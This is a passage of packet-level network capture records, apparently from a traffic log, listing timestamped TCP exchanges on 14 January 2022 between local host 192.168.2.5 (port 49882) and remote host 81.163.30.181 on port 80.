Jan 14, 2022 21:05:51.742727995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.742738962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742758036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742770910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.742777109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742795944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742798090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.742839098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742842913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.742866039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.742908001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.751213074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.751247883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.751302958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.793837070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.793884993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.793947935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.795504093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.795525074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.795617104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799314976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799339056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799355984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799375057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799391031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799406052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799422979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799423933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799438000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799453974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799467087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799470901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799485922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799498081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799501896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799519062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799524069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799534082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799549103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.799559116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.799591064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.800877094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800899029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800915003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800930977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800940990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.800950050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800966024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800982952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.800982952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.800998926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801014900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801031113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801033020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801049948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801067114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801068068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801083088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801091909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801100016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801115990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801131964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801147938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801147938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801165104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801181078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801183939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801198006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801213980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801232100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801240921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801248074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801265955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801280022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801280975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801296949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801305056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801312923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801328897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801338911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801345110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801361084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801364899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801378012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801384926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801394939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801409960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801425934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801425934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801440001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801456928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801461935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801471949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801486969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801487923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801502943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801521063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801522017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801537037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801553011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801561117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801568985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801584005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801593065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801600933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801616907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801620007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801631927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801640987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801649094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801666021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801676989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801681995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801697016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801709890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801716089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801733017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801733971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801748037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801764011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801779032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801781893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801795006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801810026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801825047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801817894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801841021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801860094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801873922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801875114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801889896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801902056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801914930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801924944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801928043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801944017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801954985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801968098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801970005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.801980019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.801991940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.802002907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.802005053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.802015066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.802032948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.802061081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.809376001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.809401989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.809448957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.842709064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.851891994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.851926088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.851978064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.853234053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.853254080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.853288889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857285976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857314110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857326031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857345104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857362986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857379913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857384920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857397079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857412100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857428074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857429028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857445955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857448101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857460976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857467890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857477903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857494116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857495070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857510090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857525110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857527018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.857541084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.857566118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860275030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860295057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860312939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860327005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860328913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860346079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860347986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860362053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860375881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860378981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860395908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860409975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860410929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860426903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860440969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860443115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860460043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860471010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860476971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860492945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860507011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860508919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860526085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860538960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860541105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860558033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860572100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860574007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860589027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860603094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860605001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860620022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860634089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860635996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860652924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860662937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860667944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860685110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860699892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860701084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860717058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860729933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860733032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860749006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860761881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860764027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860780001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860791922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860795021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860810041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860822916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860825062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860841990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860853910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860858917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860874891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860888004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860889912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860907078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860919952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860922098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860938072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860950947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860955000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860970974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.860984087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.860986948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861002922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861016035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861017942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861035109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861047983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861049891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861064911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861078978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861079931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861094952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861108065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861116886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861133099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861148119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861159086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861164093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861180067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861186028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861196041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861212015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861216068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861227036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861242056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861243010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861258984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861274004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861284971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861289978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861304998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861315012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861320972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861335039 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861336946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861351013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861365080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861366034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861382008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861393929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861396074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861411095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861427069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861433029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.861443043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.861462116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.867743969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.867769003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.867816925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.900599003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.900671005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.909723043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.910904884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.910923958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.910980940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916302919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916323900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916341066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916351080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916356087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916373014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916389942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916389942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916407108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916423082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916426897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916439056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916454077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916455030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916471004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916471958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916487932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916503906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916502953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916521072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916536093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916538000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.916553020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.916575909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919270992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919291019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919303894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919316053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919328928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919342041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919358015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919374943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919389963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919404984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919420958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919436932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919454098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919471979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919472933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.919488907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.919504881 CET	80	49882	81.163.30.181	192.168.2.5
